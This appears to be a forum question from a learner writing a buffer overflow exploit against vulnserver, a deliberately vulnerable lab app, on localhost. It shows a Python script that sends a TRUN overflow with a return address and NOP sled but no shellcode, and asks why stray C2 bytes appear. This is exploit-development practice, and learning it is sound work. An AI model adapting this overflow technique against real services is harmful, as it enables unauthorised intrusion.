I'm currently working on a buffer overflow test on the vulnserver app. Overflowing the buffer with hex values of A seemed to be passed into the program without an issue. The EIP was overwritten without an issue as well. However when I begin the NOP sled, after each NOP value a C2 hex value is passed in after. Not sure why this is happening. I have the hex dump to show you exactly what I mean:
Here is the python script I'm using to create the overflow:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",9999))
buff = '\x41' * 2006
shellcode = ...
nop = '\x90' * 16
#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
overflow = 'TRUN .' + buff + '\x05\x12\x50\x62' + nop
s.send(overflow.encode())
I'm wondering if the error is occurring when python is encoding/sending the packets or if its occurring simply due to the way vulnserver was written.